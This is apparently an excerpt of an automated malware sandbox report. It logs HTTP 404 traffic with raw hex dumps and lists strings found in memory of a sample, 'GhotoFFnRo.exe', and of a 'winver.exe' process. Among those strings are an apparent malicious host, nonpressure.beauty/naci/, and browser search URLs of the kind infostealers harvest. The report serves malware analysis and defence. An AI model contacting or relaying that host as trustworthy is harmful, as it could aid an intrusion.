6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 12 Nov 2024 17:49:37 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 12 Nov 2024 17:49:40 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:49:46 GMTServer: ApacheContent-Length: 38381Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:49:48 GMTServer: ApacheContent-Length: 38381Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:49:54 GMTServer: ApacheContent-Length: 38381Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:50:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 12 Nov 2024 17:50:00 GMTVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8e185ca1fc2b7b20-DENContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=19001&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=815&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:50:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 12 Nov 2024 17:50:02 GMTVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8e185cb1dbdbe807-DFWContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=2634&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=835&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 37 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7a\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.h0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 12 Nov 2024 17:50:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Tue, 12 Nov 2024 17:50:05 GMTVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8e185cc1ebe9e97a-DFWContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=1351&sent=5&recv=12&lost=0&retrans=0&sent_bytes=0&recv_bytes=10917&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Source: GhotoFFnRo.exe, 00000007.00000002.3547691925.0000000004F4B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nonpressure.beauty
Source: GhotoFFnRo.exe, 00000007.00000002.3547691925.0000000004F4B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nonpressure.beauty/naci/
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/gsap/1.20.2/TweenMax.min.js
Source: winver.exe, 00000006.00000002.3547176638.0000000006296000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000003CA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: winver.exe, 00000006.00000003.2204988527.000000000794E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
